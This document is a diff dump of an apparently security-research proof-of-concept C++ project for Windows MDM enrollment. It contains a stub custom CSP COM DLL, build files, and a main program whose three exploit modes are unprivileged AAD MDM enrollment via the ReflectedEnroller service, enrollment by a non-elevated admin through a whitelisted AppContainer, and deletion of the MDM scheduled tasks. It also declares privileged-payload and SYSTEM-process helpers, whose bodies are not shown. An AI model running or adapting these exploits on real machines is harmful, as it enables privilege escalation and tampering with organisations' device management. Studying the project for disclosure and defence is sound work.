WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), &strTo[0],
sizeNeeded, NULL, NULL);
if (conversionResult == 0) { // conversion failed
return std::string();
}
return strTo;
}
std::wstring StringToWString(const std::string &str) {
if (str.empty()) {
return std::wstring();
}
int sizeNeeded =
MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0);
if (sizeNeeded == 0) { // conversion failed
return std::wstring();
}
std::wstring wstrTo(sizeNeeded, 0);
int conversionResult = MultiByteToWideChar(
CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], sizeNeeded);
if (conversionResult == 0) { // conversion failed
return std::wstring();
}
return wstrTo;
}
std::wstring GetSystem32Path() {
WCHAR systemPath[MAX_PATH];
UINT size = GetSystemDirectory(systemPath, MAX_PATH);
if (size == 0) {
return L"";
}
return systemPath;
}

View File

@ -0,0 +1,74 @@
#include "core.h"
HMODULE g_currentModule;
STDAPI DllRegisterServer()
{
auto module = &Module<InProc>::GetModule();
WCHAR modulePath[MAX_PATH];
if (GetModuleFileNameW(g_currentModule, modulePath, ARRAYSIZE(modulePath)) == 0)
{
return HRESULT_FROM_WIN32(GetLastError());
}
return S_OK;
}
STDAPI DllUnregisterServer()
{
auto module = &Module<InProc>::GetModule();
WCHAR modulePath[MAX_PATH];
if (GetModuleFileNameW(g_currentModule, modulePath, ARRAYSIZE(modulePath)) == 0)
{
return HRESULT_FROM_WIN32(GetLastError());
}
return S_OK;
}
STDAPI DllGetActivationFactory(_In_ HSTRING activatibleClassId, _COM_Outptr_ IActivationFactory** factory)
{
return Module<InProc>::GetModule().GetActivationFactory(activatibleClassId, factory);
}
HRESULT WINAPI DllCanUnloadNow()
{
return Module<InProc>::GetModule().Terminate() ? S_OK : S_FALSE;
}
STDAPI DllGetClassObject(_In_ REFCLSID rclsid, _In_ REFIID riid, _Outptr_ LPVOID FAR* ppv)
{
return Module<InProc>::GetModule().GetClassObject(rclsid, riid, ppv);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_currentModule = hModule;
DisableThreadLibraryCalls(hModule);
Module<InProc>::GetModule().Create();
break;
case DLL_PROCESS_DETACH:
Module<InProc>::GetModule().Terminate();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,12 @@
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <wrl\module.h>
#include <strsafe.h>
#include <stdint.h>
using namespace Microsoft::WRL;

View File

@ -0,0 +1,269 @@
#include "core.h"
#include "com_helpers.h"
#include <string>
#include <fstream>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// C2runchCSP Custom Node
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
class DECLSPEC_UUID("3F2504E0-4F89-11D3-9A0C-4e81c3d1bb30")
C2runchCSPNode : public RuntimeClass<RuntimeClassFlags<ClassicCom>, ICSPNode, FtmBase>
{
public:
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetChildNodeNames(int64_t * p0, BSTR * *p1) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Add(IConfigManager2URI * p0, uint16_t p1, VARIANT * p2, ICSPNode * *p3, int64_t * p4) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Copy(IConfigManager2URI * p0, ICSPNode * *p1, int64_t * p2) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE DeleteChild(IConfigManager2URI * p0) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Clear() override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Execute(VARIANT * p0) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Move(IConfigManager2URI * p0) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetValue(VARIANT * p0) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE SetValue(VARIANT * p0) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetProperty(GUID * p0, VARIANT * p1) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE SetProperty(GUID * p0, VARIANT * p1) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE DeleteProperty(GUID * p0) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetPropertyIdentifiers(int64_t * p0, GUID * *p1) override;
};
HRESULT C2runchCSPNode::GetChildNodeNames(int64_t* p0, BSTR** p1)
{
auto ref = this;
return S_OK;
}
HRESULT C2runchCSPNode::Add(IConfigManager2URI* p0, uint16_t p1, VARIANT* p2, ICSPNode** p3, int64_t* p4)
{
auto ref = this;
return S_OK;
}
HRESULT C2runchCSPNode::Copy(IConfigManager2URI* p0, ICSPNode** p1, int64_t* p2)
{
auto ref = this;
return S_OK;
}
HRESULT C2runchCSPNode::DeleteChild(IConfigManager2URI* p0)
{
auto ref = this;
return S_OK;
}
HRESULT C2runchCSPNode::Clear()
{
auto ref = this;
return S_OK;
}
HRESULT C2runchCSPNode::Execute(VARIANT* p0)
{
auto ref = this;
return S_OK;
}
HRESULT C2runchCSPNode::Move(IConfigManager2URI* p0)
{
auto ref = this;
return S_OK;
}
HRESULT C2runchCSPNode::GetValue(VARIANT* val)
{
auto ref = this;
HRESULT ret = S_OK;
if (val == nullptr) {
return E_INVALIDARG;
}
BSTR rawStr = SysAllocString(L"testdata");
if (rawStr == nullptr) {
return E_OUTOFMEMORY;
}
val->vt = VT_BSTR;
val->bstrVal = rawStr;
ret = S_OK;
return ret;
}
HRESULT C2runchCSPNode::SetValue(VARIANT* p0)
{
auto ref = this;
if (p0->bstrVal && wcslen(p0->bstrVal) > 0) {
std::wstring inputCmd(p0->bstrVal);
}
return S_OK;
}
HRESULT C2runchCSPNode::GetProperty(GUID* type, VARIANT* property)
{
auto ref = this;
if (property == nullptr) {
return E_INVALIDARG;
}
if (*type == CFGMGR_PROPERTY_DATATYPE) {
property->vt = VT_I4;
property->lVal = CFG_DATATYPE_STRING;
return S_OK;
}
else if (*type == CFGMGR_PROPERTY_SEMANTICTYPE) {
BSTR typeStr = SysAllocString(L"chr");
if (typeStr == nullptr) {
return E_OUTOFMEMORY;
}
property->vt = VT_BSTR;
property->bstrVal = typeStr;
return S_OK;
}
return HRESULT_FROM_WIN32(ERROR_NOT_FOUND);
}
HRESULT C2runchCSPNode::SetProperty(GUID* p0, VARIANT* p1)
{
auto ref = this;
return S_OK;
}
HRESULT C2runchCSPNode::DeleteProperty(GUID* p0)
{
auto ref = this;
return S_OK;
}
HRESULT C2runchCSPNode::GetPropertyIdentifiers(int64_t* p0, GUID** p1)
{
auto ref = this;
return S_OK;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// C2runchCSP CSP Interface
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
class DECLSPEC_UUID("3F2504E0-4F89-11D3-9A0C-0305E82C3301")
C2runchMDMCustomCSP : public RuntimeClass<RuntimeClassFlags<ClassicCom>, IConfigServiceProvider2, FtmBase>
{
public:
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetNode(IConfigManager2URI* omaURI, ICSPNode ** ptrNode, int64_t* options) override;
virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE ConfigManagerNotification(uint16_t state, intptr_t params) override;
private:
IConfigSession2* ptr_config = nullptr;
};
wchar_t* AllocateCOMMemory(size_t numChars) {
wchar_t* buffer = (wchar_t*)CoTaskMemAlloc(numChars * sizeof(wchar_t));
if (buffer != NULL) {
ZeroMemory(buffer, numChars * sizeof(wchar_t));
}
return buffer;
}
HRESULT C2runchMDMCustomCSP::GetNode(IConfigManager2URI* omaURI, ICSPNode** ptrNode, int64_t* options)
{
int64_t node_options = 0;
if (omaURI) {
if (omaURI == nullptr || ptrNode == nullptr)
{
return E_INVALIDARG;
}
*ptrNode = nullptr;
Microsoft::WRL::ComPtr<C2runchCSPNode> spCSPNode = nullptr;
HRESULT hr = Microsoft::WRL::MakeAndInitialize<C2runchCSPNode>(&spCSPNode);
if (FAILED(hr))
{
return hr;
}
*ptrNode = spCSPNode.Detach();
return S_OK;
}
return CFGMGR_E_NODENOTFOUND;
}
HRESULT C2runchMDMCustomCSP::ConfigManagerNotification(uint16_t state, intptr_t params)
{
uint16_t value = 0;
switch (state) {
case CFGMGR_NOTIFICATION_LOAD:
value = state;
break;
case CFGMGR_NOTIFICATION_BEGINCOMMANDPROCESSING:
value = state;
break;
case CFGMGR_NOTIFICATION_ENDCOMMANDPROCESSING:
value = state;
break;
case CFGMGR_NOTIFICATION_UNLOAD:
value = state;
break;
case CFGMGR_NOTIFICATION_SETSESSIONOBJ:
value = state;
if (params) {
ptr_config = (IConfigSession2 *)params;
}
break;
case CFGMGR_NOTIFICATION_BEGINCOMMIT:
value = state;
break;
case CFGMGR_NOTIFICATION_ENDCOMMIT:
value = state;
break;
case CFGMGR_NOTIFICATION_BEGINROLLBACK:
value = state;
break;
case CFGMGR_NOTIFICATION_ENDROLLBACK:
value = state;
break;
case CFGMGR_NOTIFICATION_BEGINTRANSACTIONING:
value = state;
break;
case CFGMGR_NOTIFICATION_ENDTRANSACTIONING:
value = state;
break;
default:
break;
}
return S_OK;
}
CoCreatableClass(C2runchMDMCustomCSP);

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32802.440
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mdm_enrollment_client_pocs", "mdm_enrollment_client_pocs.vcxproj", "{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Debug|x64.ActiveCfg = Debug|x64
{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Debug|x64.Build.0 = Debug|x64
{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Debug|x86.ActiveCfg = Debug|Win32
{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Debug|x86.Build.0 = Debug|Win32
{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Release|x64.ActiveCfg = Release|x64
{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Release|x64.Build.0 = Release|x64
{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Release|x86.ActiveCfg = Release|Win32
{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {F9EB9242-AD06-4825-A287-D8874BFC6A06}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,166 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{4f748d41-5be1-4626-a0ab-9ea15cdc2074}</ProjectGuid>
<RootNamespace>mdm_enrollment_client_pocs</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>mdm_enrollment_client_pocs</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)\build\x32\$(Configuration)\</OutDir>
<IntDir>$(SolutionDir)\build\x32\int\$(Configuration)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)\build\x32\$(Configuration)\</OutDir>
<IntDir>$(SolutionDir)\build\x32\int\$(Configuration)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)\build\x64\$(Configuration)\</OutDir>
<IntDir>$(SolutionDir)\build\x64\int\$(Configuration)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)\build\x64\$(Configuration)\</OutDir>
<IntDir>$(SolutionDir)\build\x64\int\$(Configuration)\</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\common_helpers.cpp" />
<ClCompile Include="src\core.cpp" />
<ClCompile Include="src\management_enroller_helpers.cpp" />
<ClCompile Include="src\reflected_enroller_helpers.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\common.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,28 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\core.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\common_helpers.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\reflected_enroller_helpers.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\management_enroller_helpers.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\common.h">
<Filter>Source Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,76 @@
#pragma once
//Common header approach, not very efficient from compile time perspective, but really convenient for small projects
#include <vector>
#include <string>
#include <windows.h>
#include <roapi.h>
#include <wrl/client.h>
#include <wrl/wrappers/corewrappers.h>
#include <Windows.Foundation.h>
#include <Windows.Foundation.Collections.h>
#include <Windows.Storage.Streams.h>
#pragma comment(lib, "mdmregistration.lib")
#pragma comment(lib, "wtsapi32.lib")
#pragma comment(lib, "runtimeobject.lib")
using namespace Microsoft::WRL;
using namespace Microsoft::WRL::Wrappers;
using namespace ABI::Windows::Foundation;
using namespace ABI::Windows::Foundation::Collections;
// Common defines
typedef std::vector<SID_AND_ATTRIBUTES> TCaps;
typedef std::vector<std::wstring> TStrings;
static const wchar_t* mdm_only_argument = L"--mdm-registration-only";
static const wchar_t* unenrollment_argument = L"--mdm-unenrollment";
static const wchar_t* enroll_webservice_argument = L"--enroll-webservice";
static const wchar_t* exploit_argument = L"--exploit";
static const wchar_t* exploit_aad_mdm_enrollment = L"aad_mdm_enrollment";
static const wchar_t* exploit_whitelisted_mdm_enrollment = L"whitelisted_mdm_enrollment";
static const wchar_t* exploit_sched_tasks_delete = L"mdm_sched_tasks";
//Common Helpers
bool GetParsedArguments(
bool& is_mdm_enrollment_only_present,
bool& unenrollment_present,
std::wstring& target_exploit,
std::wstring& enroll_mdm_webservice);
bool GetSecurityCapabilitiesForLowboxToken(TCaps& sidCaps);
bool EnrollIntoMDM(const std::wstring& enroll_email, const std::wstring& mdm_enroll_webservice_url);
bool UnenrollFromMDM();
bool IsAppContainer();
bool IsAdminToken();
bool IsAdminPresentToken();
bool WaitUntilDeviceIsMDMEnrolled();
bool ExecutePrivilegedCmdPayload();
bool CreateSystemProcess(const std::wstring& executable_path);
bool CreateWhitelistedAppContainerProcess(
const std::wstring& executable_commandline,
const std::wstring& enroll_webservice,
const std::wstring& enroll_upn);
bool CreateElevatedProcessFromMediumIL(
const std::wstring& executable_path,
const std::wstring& username,
const std::wstring& password);
bool PerformDeviceEnrollmentUsingWhitelistedProcess(const std::wstring& enroll_mdm_webservice, const std::wstring& enroll_upn);
bool GetCurrentExecutablePath(std::wstring& path);
bool GetEnrollmentIDs(TStrings& enrollment_ids, const wchar_t* upn = L"");
void GetListOfEnrollmentTasksByEnrollmentID(const std::wstring& enrollment_id, TStrings& enrollment_tasks);
bool GetListOfEnrollmentTasks(TStrings& enrollment_tasks);
void BlockWaitForMDMPolicyEnforcement();
bool ExecutePostExploitationPayload(bool is_enroll_only_mdm_requested, const std::wstring& target_exploit);
std::wstring GetRunningUsername();
HRESULT PrintError(HRESULT hr);
//ReflectedEnroller helpers
HRESULT EnrollAADUsingReflectedEnroller(
const std::wstring& upn,
const std::wstring& discovery_service_full_url);
//Management Enroller helpers
HRESULT DeleteEnrollmentTask(const std::wstring& taskname);

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,209 @@
#include "common.h"
// It performs an MDM Device Enrollment using the AAD flow
int ReflectedAADEnrollment(
bool is_enroll_only_mdm_requested,
const std::wstring& enroll_upn,
const std::wstring& enroll_mdm_webservice) {
int ret = EXIT_FAILURE;
// Checking if running from a privileged token
if (IsAdminToken()) {
// Executing privileged payload
if (ExecutePrivilegedCmdPayload()) {
ret = EXIT_SUCCESS;
}
}
else {
// Checking required arguments
if (enroll_mdm_webservice.empty()) {
wprintf(L"[-] Invalid arguments were provided: --enroll-webservice should be used\n");
return ret;
}
wprintf(L"[+] About to run the AAD MDM Device Enrollment exploit\n");
wprintf(L"[+] Performing device enrollment using ReflectedEnroller service (This will take some time)\n");
//Perform the actual MDM enrollment
if (EnrollAADUsingReflectedEnroller(enroll_upn, enroll_mdm_webservice) != S_OK) {
wprintf(L"[-] There was a problem performing the device enrollment\n");
return ret;
}
wprintf(L"[+] AAD MDM Enrollment was successful!\n");
wprintf(L"[+] Executing post-exploitation actions\n");
if (!ExecutePostExploitationPayload(is_enroll_only_mdm_requested, exploit_aad_mdm_enrollment)) {
wprintf(L"[-] There was a problem performing the device enrollment\n");
return ret;
}
}
return EXIT_SUCCESS;
}
// It deletes all the sched tasks realted to MDM enrollments
int EnrollmentSchedTasksDelete() {
int ret = EXIT_FAILURE;
wprintf(L"[+] About to run SchedTask delete exploit\n");
// Get the list of enrollment tasks
TStrings enrollment_sched_tasks;
if (GetListOfEnrollmentTasks(enrollment_sched_tasks) && !enrollment_sched_tasks.empty()) {
wprintf(L"[+] %d sched taks were going to be deleted.\n", (unsigned int)enrollment_sched_tasks.size());
//Grabbing list of sched tasks
unsigned int deleted_tasks = 0;
for (auto task_path : enrollment_sched_tasks) {
wprintf(L"[+] About to delete sched task (%s)\n", task_path.c_str());
if (DeleteEnrollmentTask(task_path) == S_OK) {
wprintf(L"[+] Sched task %s was successfully deleted\n", task_path.c_str());
deleted_tasks++;
ret = EXIT_SUCCESS;
}
else {
wprintf(L"[-] There was a problem deleting sched task %s\n", task_path.c_str());
}
}
wprintf(L"[+] Sched tasks present at \"\\\\Microsoft\\Windows\\EnterpriseMgmt\" were successfully deleted\n");
}
else {
wprintf(L"[-] No MDM enrollments were done on this device\n");
}
return ret;
}
// It performs an MDM Device Enrollment from non-elevated local admin context
int WhitelistedMDMEnrollment(
bool is_enroll_only_mdm_requested,
bool is_unenroll_requested,
const std::wstring& enroll_upn,
const std::wstring& enroll_mdm_webservice) {
int ret = EXIT_FAILURE;
// Checking if running from an appcontainer process
if (IsAppContainer()) {
if (is_unenroll_requested) {
if (UnenrollFromMDM()) {
ret = EXIT_SUCCESS;
}
}
else {
if (EnrollIntoMDM(enroll_mdm_webservice, enroll_mdm_webservice)) {
ret = EXIT_SUCCESS;
}
}
}
// Checking if running from a privileged token
else if (IsAdminToken()) {
// Executing privileged payload
if (ExecutePrivilegedCmdPayload()) {
ret = EXIT_SUCCESS;
}
}
// Otherwise run the main exploit logic
else {
// checking if primary token has BUILTIN\Administrators on its list of groups
if (!IsAdminPresentToken()) {
wprintf(L"[-] Caller user should be part of local administrators\n");
return ret;
}
//checking required arguments
if (enroll_mdm_webservice.empty()) {
wprintf(L"[-] Invalid arguments were provided: --enroll-webservice should be used\n");
return ret;
}
wprintf(L"[+] About to run the MDM Device Enrollment exploit\n");
wprintf(L"[+] Performing device enrollment using whitelisted AppContainer SID (This will take some time)\n");
if (!PerformDeviceEnrollmentUsingWhitelistedProcess(enroll_mdm_webservice, enroll_upn)) {
wprintf(L"[-] There was a problem performing the device enrollment\n");
return ret;
}
wprintf(L"[+] MDM Enrollment was successful!\n");
wprintf(L"[+] Executing Post Exploitation actions\n");
if (!ExecutePostExploitationPayload(is_enroll_only_mdm_requested, exploit_whitelisted_mdm_enrollment)) {
wprintf(L"[-] There was a problem performing the device enrollment\n");
return ret;
}
ret = EXIT_SUCCESS;
}
return ret;
}
void ShowHelp() {
wprintf(L"MDM Enrollment Client PoCs\n");
wprintf(L"Usage: ");
wprintf(L"mdm_enrollment_client_pocs.exe");
wprintf(L" --exploit <target_exploit>");
wprintf(L" --enroll-webservice <enroll_webservice_url>\n");
wprintf(L"Supported Exploits: \n");
wprintf(L" exploit_aad_mdm_enrollment (Unprivileged MDM Device enrollment)\n");
wprintf(L" whitelisted_mdm_enrollment (Non-elevated local admin MDM Device enrollment\n");
wprintf(L" exploit_sched_tasks_delete (MDM Enrollment break throuh MDM Schedtasks deletion\n");
wprintf(L"Usage Examples: \n");
wprintf(L" mdm_enrollment_client_pocs.exe --exploit aad_mdm_enrollment --enroll-webservice https://mdm.email.com/enroll\n");
wprintf(L" mdm_enrollment_client_pocs.exe --exploit whitelisted_mdm_enrollment --enroll-webservice https://mdm.email.com/enroll\n");
wprintf(L" mdm_enrollment_client_pocs.exe --exploit mdm_sched_tasks\n");
}
int wmain() {
int ret = EXIT_FAILURE;
//Command line arguments parsing
bool is_enroll_only_mdm_requested = false;
bool unenrollment_present = false;
std::wstring target_exploit;
std::wstring enroll_webservice;
std::wstring enroll_upn;
// Parsing command line arguments
if (!GetParsedArguments(is_enroll_only_mdm_requested, unenrollment_present, target_exploit, enroll_webservice)) {
ShowHelp();
return ret;
}
//AAD MDM Enrollment exploit
if (target_exploit.compare(exploit_aad_mdm_enrollment) == 0) {
ret = ReflectedAADEnrollment(is_enroll_only_mdm_requested, enroll_upn, enroll_webservice);
}
//Whitelisted MDM Enrollment
else if (target_exploit.compare(exploit_whitelisted_mdm_enrollment) == 0) {
ret = WhitelistedMDMEnrollment(is_enroll_only_mdm_requested, unenrollment_present, enroll_upn, enroll_webservice);
}
//MDM Scheduled Tasks Delete
else if (target_exploit.compare(exploit_sched_tasks_delete) == 0) {
ret = EnrollmentSchedTasksDelete();
}
else {
wprintf(L"[-] Target exploit is not supported!\n");
ShowHelp();
}
return ret;
}

View File

@ -0,0 +1,100 @@
#include "common.h"
struct UnenrollData {
HSTRING EnrollEmail;
};
struct EnrollData {
HSTRING EnrollEmail;
HSTRING EnrollWebservice;
HSTRING Member1;
int Member2;
HSTRING EnrollToken;
HSTRING Member3;
HSTRING Member4;
int Member5;
HSTRING Member6;
};
struct AADEnrollData {
HSTRING EnrollEmail;
HSTRING EnrollWebservice;
HSTRING Member1;
HSTRING Member2;
int EnrollToken;
HSTRING Member3;
HSTRING Member4;
HSTRING Member5;
HSTRING Member6;
HSTRING Member7;
int Member8;
};
struct OperatorScope {
HSTRING EnrollEmail;
